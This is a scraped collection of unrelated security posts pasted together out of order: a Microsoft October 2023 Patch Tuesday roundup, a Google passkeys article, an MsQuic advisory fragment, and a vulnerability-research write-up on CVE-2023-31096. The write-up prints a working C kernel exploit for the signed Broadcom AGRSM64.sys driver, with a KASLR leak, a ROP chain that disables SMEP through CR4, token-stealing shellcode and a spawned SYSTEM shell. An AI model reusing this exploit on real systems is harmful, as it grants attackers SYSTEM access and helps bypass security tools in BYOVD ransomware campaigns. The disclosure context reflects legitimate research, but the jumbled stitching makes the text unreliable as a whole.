October's CVE update is here. Here's which security vulnerabilities to patch now to exorcise your Microsoft systems demons.

Microsoft flagged two zero-day security vulnerabilities under active attack in October's Patch Tuesday update, which affect Microsoft WordPad and Skype for Business. The release also features a critical-rated, wormable bug in Message Queuing that could instill terror for admins of vulnerable systems.

The two bugs are part of a cadre of 103 total CVEs addressed by the computing giant this month. The patches run the gamut of Microsoft's portfolio, including Azure, ASP.NET, Core, and Visual Studio; Exchange Server; Office, Microsoft Dynamics, and Windows.

Appropriately for October, the number of critical-rated vulnerabilities comes in at an unlucky 13; and notably, a full 20% of the fixes in the update relate to Microsoft Message Queuing (MSMQ).

**October 2023 Bugs Under Active Exploit**

Falling into the hair-raising active exploit camp, the first issue under attack in the wild is CVE-2023-36563, an information-disclosure bug in the WordPad word processing program that could open the door to NTLM relay attacks by exposing NTLM hashes.

"To exploit this vulnerability, an attacker must first gain access to the system," explained Mike Walters, president and co-founder of Action1, in October Patch Tuesday commentary. "Subsequently, they would run a specially crafted application designed to take advantage of the vulnerability and seize control of the affected system."

He added, "Alternatively, the attacker could persuade a local user to open a malicious file. This persuasion might involve enticing the user to click a link, often via email or instant message, and then convincing them to open the specially crafted file."

As far as mitigation goes, "Microsoft doesn't list any Preview Pane vector, so user interaction is required," said Dustin Childs, researcher for Trend Micro's Zero Day Initiative, in a blog. "In addition to applying this patch, you should consider blocking outbound NTLM over SMB on Windows 11. This new feature hasn't received much attention, but it could significantly hamper NTLM-relay exploits."

Meanwhile, CVE-2023-41763 in Skype for Business is ready to haunt admin dreams. It's listed as an elevation-of-privilege issue, but Childs pointed out that it should be treated as an information disclosure problem.

"An attacker could exploit this vulnerability by initiating a specially crafted network call to the targeted Skype for Business server," Walters said. "This action could lead to the parsing of an HTTP request sent to an arbitrary address, potentially revealing IP addresses and port numbers."

He added that some sensitive information may be exposed, including in some cases data that could grant access to internal networks. However, it won't allow the attacker to modify the exposed data or restrict access to the affected resource.

**20 Microsoft Message Queuing Vulnerabilities**

Also putting the shivers into cybersecurity defenders this month are a full 20 different MSMQ vulnerabilities, which together represent an outsized percentage of the total October fixes. One of them, CVE-2023-35349, earns the distinction of being the scariest (i.e., most severe) issue of the month; it carries a CVSS critical score of 9.8 out of 10.

The bug allows unauthenticated remote code execution (RCE) without user interaction, meaning that the issue is wormable on systems where Message Queuing is enabled.

MSMQ is used to allow applications across multiple servers or hosts to communicate with each other and allow for communications to be stored and queued as required. It is not enabled by default, but Microsoft Exchange Server can enable it during installation, according to Rob Reeves, principal security engineer at Immersive Labs.

"It is highly likely that a successful attack will afford the attacker with SYSTEM-level permissions on the target or allow for kernel exploitation," he said in emailed Patch Tuesday commentary. "It would be considered unusual for an enterprise environment to expose the MSMQ service publicly on the Internet ... so it is reasonable to assume that to leverage this vulnerability in an attack, an attacker would have first successfully phished a target network and discovered the vulnerable service during enumeration."

Users should patch immediately, but can also mitigate the problem by blocking communications on TCP Port 1801 from untrusted connections via the firewall, Reeves added.

Childs noted that the other MSMQ bugs are a mix of RCE issues that do require user interaction, and DoS flaws that do not.

"Microsoft doesn't state if successful exploitation would simply stop the service or blue screen the entire system," he noted. "They also don't note if the system would automatically recover once the DoS exploit ends. There have been many Message Queuing bugs fixed this year, so now is a great time to audit your enterprise to determine your exposure."

**Other Microsoft Bugbears to Prioritize This Month**

As far as other security monsters to be on the lookout for, CVE-2023-36434 in Windows IIS Server stands out, according to ZDI's Childs. An attacker who successfully exploits the bug could log on to an affected IIS server as another user.

The elevation-of-privilege vulnerability was labeled "important" by Microsoft, because a threat actor would need to already be present in the network to use it, but it carries a CVSS 9.8 rating.

"These days, brute force attacks can be easily automated," Childs noted. "If you're running IIS, you should treat this as a critical update and patch quickly."

Action1's Walters meanwhile highlighted a group of nine RCE vulnerabilities in the Layer 2 Tunneling Protocol, which all have a CVSS score of 8.1 (CVE-2023-41774, CVE-2023-41773, CVE-2023-41771, CVE-2023-41770, CVE-2023-41769, CVE-2023-41768, CVE-2023-41767, CVE-2023-41765, and CVE-2023-38166).

"They possess a network-based attack vector, have a high level of complexity for successful exploitation, do not require any special privileges, and demand no user interaction," he said. "Their exploitation is notably intricate ... To successfully exploit these vulnerabilities, an attacker must overcome a race condition. An unauthenticated attacker could achieve this by sending a carefully crafted protocol message to a Routing and Remote Access Service (RRAS) server."

An RCE vulnerability in Microsoft Windows Data Access Components (WDAC) OLE DB provider for SQL Server (CVE-2023-36577, CVSS 8.8) caught the eye of Jason Kikta, CISO and senior vice president at Automox.  
"Microsoft WDAC OLE DB Provider for SQL Server is a set of components designed to facilitate efficient data access from Microsoft SQL Server databases to endpoints," he said in a Patch Tuesday advisory. "It's a key element of the WDAC that allows developers to create applications capable of communicating with almost any data source, including SQL Server. This vulnerability may allow an attacker to execute arbitrary code on a targeted system by convincing a user to connect to a malicious database."

He noted, "These attacks can be mitigated by configuring the environment to connect only to trusted servers and enforcing certificate validation."  
And finally, Chris Goettl, vice president of security products at Ivanti, flagged the fact that October Patch Tuesday includes the last updates for Windows 11 21H2 and Microsoft Server 2012/2012 R2.

"The latter go into Extended Security Support (ESU) starting with a November release, and Microsoft also announced the keys used to enable these updates will be managed as part of Azure Arc. They should be released next week," he said in emailed commentary.

"End-of-life software poses a risk to an organization," he warned. "No public updates will be available for these OS versions going forward. For Windows 11 users this means upgrading to a new Windows 11 branch. For Server 2012\\2012 R2 it is highly recommended to subscribe to ESU or migrate to a newer server edition."

This month's release also includes a patch for the just-disclosed HTTP/2 Rapid Reset distributed denial of service (DDoS) bug, as well as one for an external Chromium flaw that affects Microsoft Edge.

Microsoft Patch Tuesday Haunted by Zero-Days, Wormable Bug

By Waqas
Goodbye Passwords, or Not Yet?
This is a post from HackRead.com Read the original post: Google Makes Passkeys Default for All Users

Google is making passkeys the default option, aiming to replace passwords altogether.

Google announced today that it is making passkeys the default option for users. Passkeys are a new, more secure way to sign in to online accounts that is phishing resistant.

Passkeys use public-key cryptography to authenticate users without the need for passwords. When a user creates a passkey, a public and private key pair is generated. The public key is stored on the website or app that the user is signing in to, and the private key is stored securely on the user’s device.

To sign in with a passkey, the user simply selects the passkey they want to use and authenticates it with their device’s biometric sensor or PIN. This eliminates the need to remember or type in a password.

Passkeys UI

Google has been supporting passkeys since May 2022, and the company says that it has received positive feedback from users. The company is now making passkeys the default option in order to encourage more people to use them.

****Benefits of passkeys****

Passkeys offer a number of benefits over passwords, including:

*   **Security:** Passkeys are more secure than passwords because they are phishing-resistant and cannot be easily cracked.
*   **Convenience:** Passkeys are easier to use than passwords because users do not have to remember or type them in.
*   **Privacy:** Passkeys are more private than passwords because they do not require users to share their personal information with websites and apps.

Timothy Morris, Chief Security Advisor at Tanium, a Kirkland, Washington-based provider of converged endpoint management (XEM) thinks it is a positive development and it will play a vital role in securing user accounts without the complication of remembering long and complex passwords.

“This news is a positive development because you can authenticate faster and you don’t have to remember complex passwords,” Timothy said. However, he argued how users will react to the recovery process of a passkey.

“You can’t just recover your passkey like you can a password. The reason we’re now at this point is because there’s enough resiliency so the recovery key process is much smoother, Timothy added.

****How to use passkeys****

To use passkeys, you will need to have a device that supports them. Most modern smartphones and computers support passkeys.

To create a passkey, you will need to visit the website or app that you want to sign in to and follow the instructions. Once you have created a passkey, you will be able to use it to sign in to the website or app on any device that supports a passkey.

****Takeaway****

Google’s decision to make passkeys the default option for users is a welcome one. Passkeys are a more secure, convenient, and private way to sign in to online accounts. I hope that more companies will follow suit and make passkeys the default option for their users as well.

1.  Google offers Dark Web monitoring for US Gmail users
2.  Google Vertex AI Vision: Revolutionizing E-Commerce?
3.  Google’s Latest Android Feature Drop: Dark Web Search for Gmail ID
4.  Mobile Cybersecurity Firm Cirotta Launches Anti-Hacking Phone Cases
5.  Essential Insights on Google Cloud Backup and Disaster Recovery Service
6.  Microsoft launches free Linux memory forensics tool for detecting malware

Google Makes Passkeys Default for All Users

### Impact
The MsQuic server application or process will crash, resulting in a denial of service.

### Patches
The following patch was made:

- Don't Allow Version Negotiation Packets for Server Connections - https://github.com/microsoft/msquic/commit/3226cff07d22662f16fc98d605656860e64cd343

### Workarounds
Beyond upgrading to the patched versions, there is no other workaround. You must upgrade or disable MsQuic functionality.


**Remote Denial of Service Vulnerability in Microsoft.Native.Quic.MsQuic.Schannel**

High severity GitHub Reviewed Published Oct 10, 2023 in microsoft/msquic • Updated Oct 10, 2023

GHSA-xh5m-8qqp-c5x7: Remote Denial of Service Vulnerability in Microsoft.Native.Quic.MsQuic.Schannel

An issue was discovered in Broadcom) LSI PCI-SV92EX Soft Modem Kernel Driver through 2.2.100.1 (aka AGRSM64.sys). There is Local Privilege Escalation to SYSTEM via a Stack Overflow in RTLCopyMemory (IOCTL 0x1b2150). An attacker can exploit this to elevate privileges from a medium-integrity process to SYSTEM. This can also be used to bypass kernel-level protections such as AV or PPL, because exploit code runs with high-integrity privileges and can be used in coordinated BYOVD (bring your own vulnerable driver) ransomware campaigns.

Specifically we will exploit a Local Privilege Escalation to SYSTEM through Stack Overflow via RTLCopyMemory (IOCTL 0x1b2150) aka CVE-2023-31096.

As we can see from the below output of signtool the driver is signed by Microsoft and thus trusted to be loaded by any version of Windows:

Once we found our attacker-controlled user inputs, we can then start reversing those functions. In the next screenshot you can see the IOCTL handler at 0x1b2150 takes param\_2 and copies it’s value to a destination buffer. If there is no bounds checking we have ourselves a vanilla stack-based buffer overflow.

We can start with a simple PoC to overflow return addresses with junk, remember as we are in kernel mode this will result in BSOD.

    // AGRSM64 Kernel Driver LPE
    // WIN11 x64 Stack Overflow Simple PoC
    // Author: Christoph Schwarz cschwarz1@proton.me
    
    #include <stdio.h>
    #include <windows.h>
    #include <psapi.h>
    
    #define IOCTL_CODE 0x1b2150
    
    void exploit() {
        // Defining buffer and buffer size to send to the driver
        char buf[250];
        // Fill buffer with junk
        memset(buf, 0x41, 250);
    
        // Obtaining handle to the driver
        printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
        char* driver = const_cast <char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");
    
        HANDLE drvHandle = CreateFileA(
            driver,
            0xC0000000,
            0x0,
            NULL,
            0x3,
            0x0,
            NULL
        );
    
        printf("[+] Handle to the driver %s: %d\n", driver, drvHandle);
        DWORD lpBytesReturned;
    
        printf("[+] Interacting with the driver...\n");
    
        // Send payload to the driver
    
        printf("[+] Wait 2 seconds for BSOD ...\n");
        Sleep(2000);
    
        BOOL status = DeviceIoControl(
            drvHandle,
            IOCTL_CODE,
            buf,
            sizeof(buf),
            NULL,
            0,
            &lpBytesReturned,
            NULL
            );
    }
    
    int main(int argc, char* argv[]) {
    
        exploit();
    
        printf("[+] we never get here. \n");
        return 0;
    }
    

In WinDBG we can get our target drivers base address:

    2: kd> .reload
    Connected to Windows 10 22621 x64 target at (Mon Oct  9 17:22:33.761 2023 (UTC + 2:00)), ptr64 TRUE
    Loading Kernel Symbols
    ...............................................................
    ................................................................
    ..............................................
    Loading User Symbols
    
    Loading unloaded module list
    ...........
    2: kd> lm Dvm AGRSM64
    Browse full module list
    start             end                 module name
    fffff803`2b430000 fffff803`2b562000   AGRSM64    (deferred)             
        Image path: \??\C:\Users\chris\Desktop\AGRSM64.sys
        Image name: AGRSM64.sys
        Browse all global symbols  functions  data
        Timestamp:        Thu Dec  3 22:05:51 2009 (4B18282F)
        CheckSum:         001370DF
        ImageSize:        00132000
        Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
        Information from resource tables:
    

After rebasing the disassembled driver in Ghidra we can set a breakpoint to RTLCopyMemory and inspect the values. Remember x64 Application Binary Interface (ABI) uses a four-register fast-call calling convention, which means our function parameters are stored in RCX, RDX and R8. WinDBG output confirms we can control the source parameter and size for RTLCopyMemory:

    2: kd> bp 0xfffff8032b444abc
    2: kd> g
    Breakpoint 0 hit
    AGRSM64+0x14abc:
    fffff803`2b444abc ff1596350d00    call    qword ptr [AGRSM64+0xe8058 (fffff803`2b518058)]
    4: kd> dq rcx l1
    ffff8189`3402f580  00000000`00000150
    4: kd> dq rdx
    ffff998c`401af640  41414141`41414141 41414141`41414141
    ffff998c`401af650  41414141`41414141 41414141`41414141
    ffff998c`401af660  41414141`41414141 41414141`41414141
    ffff998c`401af670  41414141`41414141 41414141`41414141
    ffff998c`401af680  41414141`41414141 41414141`41414141
    ffff998c`401af690  41414141`41414141 41414141`41414141
    ffff998c`401af6a0  41414141`41414141 41414141`41414141
    ffff998c`401af6b0  41414141`41414141 41414141`41414141
    4: kd> .formats r8
    Evaluate expression:
      Hex:     00000000`000000fa
      Decimal: 250
      Decimal (unsigned) : 250
    

After we return from RTLCopyMemory we can see we have successfully corrupted some return addresses on the stack:

    4: kd> k
     # Child-SP          RetAddr               Call Site
    00 ffff8189`3402f658 41414141`41414141     AGRSM64+0x14155
    01 ffff8189`3402f660 41414141`41414141     0x41414141`41414141
    02 ffff8189`3402f668 41414141`41414141     0x41414141`41414141
    03 ffff8189`3402f670 41414141`41414141     0x41414141`41414141
    04 ffff8189`3402f678 fffff803`2b554141     0x41414141`41414141
    05 ffff8189`3402f680 ffff998c`3f541e10     AGRSM64+0x124141
    06 ffff8189`3402f688 ffff998c`3f9d7240     0xffff998c`3f541e10
    07 ffff8189`3402f690 00000000`00040286     0xffff998c`3f9d7240
    08 ffff8189`3402f698 fffff803`21af83a9     0x40286
    09 ffff8189`3402f6a0 fffff803`212b3ee5     nt!_guard_retpoline_exit_indirect_rax+0x9
    0a ffff8189`3402f6f0 fffff803`21726350     nt!IofCallDriver+0x55
    0b ffff8189`3402f730 fffff803`2172862f     nt!IopSynchronousServiceTail+0x1d0
    0c ffff8189`3402f7e0 fffff803`21727616     nt!IopXxxControlFile+0xfff
    0d ffff8189`3402f9c0 fffff803`21446ee8     nt!NtDeviceIoControlFile+0x56
    0e ffff8189`3402fa30 00007ffa`a114ee34     nt!KiSystemServiceCopyEnd+0x28
    

Proceeding further we a greeted with a wonderful Blue Screen of Death.

All right we can override kernel memory regions with arbitrary data and length and crash the machine, great.

Next we need an exploit to do some controlled attack. As a simple proof of concept we are going to take the token stealer shellcode and elevate our privileges to SYSTEM. This attack is already well documented and I’ll only briefly discuss how this is done. For more details you should check out Connor McGarr’s excellent blog and related topics.

As you can imagine we need to bypass some Windows specific security protections in the kernel, for simplicity reasons I deactivated Windows Defender and Core Isolation on a otherwise fully patched and functional Windows 11 machine. We will come back to more sophisticated exploits bypassing more protections at a later stage of this blog series.

For Kernel Address Space Layout Randomization (KASLR) we need to find a memory leak or simply call EnumDeviceDrivers(). Lol. Every medium-integrity process (i.e. our exploit) can call this function.

For Supervisor Mode Execution Prevention (SMEP) we will manipulate a single CR4 bit to return to our shellcode in user-mode and switch SMEP back on once we are done. All this is done with a simple ROP chain.

So our plan is as follows:

1.  leak kernel base address via EnumDeviceDrivers()
2.  find gadgets in ntoskrnl.exe and get offsets to those instructions
3.  construct ROP chain
4.  overwrite the return address of our IOCTL handler function with the first ROP gadget in ntoskrnl.exe
5.  manipulate CR4 to be able to jump to user mode, where our shellcode is located
6.  execute token stealer shellcode
7.  ROP to ntoskrnl.exe and restore CR4
8.  enjoy our SYSTEM cmd shell

    // AGRSM64 Kernel Driver LPE
    // WIN11 x64 Stack Overflow with SMEP Bypass
    // Author: Christoph Schwarz cschwarz1@proton.me
    
    
    #include <stdio.h>
    #include <windows.h>
    #include <psapi.h>
    
    #define IOCTL_CODE 0x1b2150
    
    DWORD64 getKBaseAddress(void) {
        LPVOID lpImageBase[1024];
        DWORD lpcbNeeded;
    
        printf("[+] Calling EnumDeviceDrivers()...\n");
    
        BOOL baseofDrivers = EnumDeviceDrivers(
            lpImageBase,
            sizeof(lpImageBase),
            &lpcbNeeded
        );
        // ntoskrnl.exe is in array[0]
        DWORD64 krnlBase = (DWORD64)lpImageBase[0];
    
        printf("[+] Found kernel leak!\n");
        printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
    
        return krnlBase;
    }
    
    void exploit()
    {
        // shellcode stolen from https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html
        char payload[] =
            "\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48"
            "\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d"
            "\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48"
            "\x04\x00\x00\x4d\x8b\x88\x40\x04\x00\x00"
            "\x49\x83\xf9\x04\x75\xe5\x49\x8b\x88\xb8"
            "\x04\x00\x00\x80\xe1\xf0\x48\x89\x88\xb8"
            "\x04\x00\x00\x65\x48\x8b\x04\x25\x88\x01"
            "\x00\x00\x66\x8b\x88\xe4\x01\x00\x00\x66"
            "\xff\xc1\x66\x89\x88\xe4\x01\x00\x00\x48"
            "\x8b\x90\x90\x00\x00\x00\x48\x8b\x8a\x68"
            "\x01\x00\x00\x4c\x8b\x9a\x78\x01\x00\x00"
            "\x48\x8b\xa2\x80\x01\x00\x00\x48\x8b\xaa"
            "\x58\x01\x00\x00\x31\xc0\x0f\x01\xf8\x48"
            "\x0f\x07";
    
    
        // Allocating shellcode in user mode
        LPVOID shellcode = VirtualAlloc(
            NULL,
            sizeof(payload),
            0x3000,
            0x40
        );
    
        printf("[+] Shellcode allocated at: 0x%llx\n", shellcode);
    
        // copy shellcode payload to allocated memory in user mode
        memcpy(shellcode, payload, sizeof(payload));
    
        // Running getKBaseAddress() here to get base of kernel for ROP gadgets
        DWORD64 baseAddress = getKBaseAddress();
        
        // Defining buffer and buffer size to send to the driver
        char buf[280];
        size_t gadgetSize = 0x8;
    
        // Fill buffer with junk
        memset(buf, 0x41, 280);
    
        // ROP gadgets
        DWORD64 ROP1 = baseAddress + 0xa8cfb6;  // pop rcx ; ret: 
        DWORD64 ROP2 = 0xb50ef8 ^ 1UL << 20;    // CR4 value: flip 20th bit
        DWORD64 ROP3 = baseAddress + 0x39f047;  // mov cr4, rcx ; ret: 
        DWORD64 ROP4 = baseAddress + 0xa8cfb6;  // pop rcx ; ret: 
        DWORD64 ROP5 = 0xb50ef8;                // CR4 value (0xb506f8)
        DWORD64 ROP6 = baseAddress + 0x39f047;  // mov cr4, rcx ; ret: 
        DWORD64 ROP7 = baseAddress + 0x427f22;  // mov rsp, r11; ret; 
        
        printf("[+] Executing ROP chain to disable SMEP / SMAP. \n");
        printf("[+] POP RCX; ret; \n");
    
        memcpy(&buf[216], &ROP1, gadgetSize);
        memcpy(&buf[216 + 8], &ROP2, gadgetSize);
    
        printf("[+] MOV RCX; CR4; ret; \n");
        printf("[+] Bypassed SMEP / SMAP ! \n");
        memcpy(&buf[216 + 16], &ROP3, gadgetSize);
    
        printf("[+] Executing shellcode in userland !\n");
        memcpy(&buf[216 + 24], &shellcode, 0x8);
    
        printf("[+] MOV RCX; CR4; ret; \n");
    
        printf("[+] Executing ROP chain to restore CR4. \n");
        printf("[+] POP RCX; ret; \n");
        memcpy(&buf[216 + 32], &ROP4, gadgetSize);
        memcpy(&buf[216 + 40], &ROP5, gadgetSize);
    
        printf("[+] MOV RCX; CR4; ret; \n");
        printf("[+] SMEP / SMAP restored ! \n");
        memcpy(&buf[216 + 48], &ROP6, gadgetSize);
    
        printf("[+] Get handle to the driver \n");
        
        char *driver = const_cast < char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");
    
        HANDLE drvHandle = CreateFileA(
            driver,
            0xC0000000,
            0x0,
            NULL,
            0x3,
            0x0,
            NULL
        );
    
        printf("[+] Driver handle %s: %d\n", driver, drvHandle);
    
        // Send exploit to the driver
    
        DWORD lpBytesReturned;
    
        printf("[+] Send payload to driver...\n");
        getchar();
        BOOL status = DeviceIoControl(
            drvHandle,
            IOCTL_CODE,
            buf,
            sizeof(buf),
            NULL,
            0,
            &lpBytesReturned,
            NULL
        );
    }
    
    int main(int argc, char* argv[])
    {
        exploit();
        
        printf("[+] Spawning SYSTEM shell!\n");
        // Spawning an NT AUTHORITY\SYSTEM shell
        system("cmd.exe /c cmd.exe /K cd C:\\");
        
        return 0;
    }
    

Executing the exploit is resulting in a LPE and SYSTEM shell:

Responsible Disclosure timeline:

*   01/24/23 reported vulnerability to PSIRT@broadcom.com
*   01/24/23 immediate reply and triage
*   02/22/23 requesting update on fix
*   02/25/23 PSIRT replied with request for more time to research the issue
*   03/30/23 requesting update on fix
*   04/24/23 requesting CVE from Mitre, requesting update from PSIRT
*   04/25/23 response that driver is EOL since 2016 and OK for advisory release
*   10/09/23 advisory release and blog post

CVE-2023-31096: kernel driver bughunting: exploiting a stack-based buffer overflow

Microsoft Message Queuing Remote Code Execution Vulnerability

CVE-2023-36570

Microsoft Message Queuing Denial of Service Vulnerability

Tag

#microsoft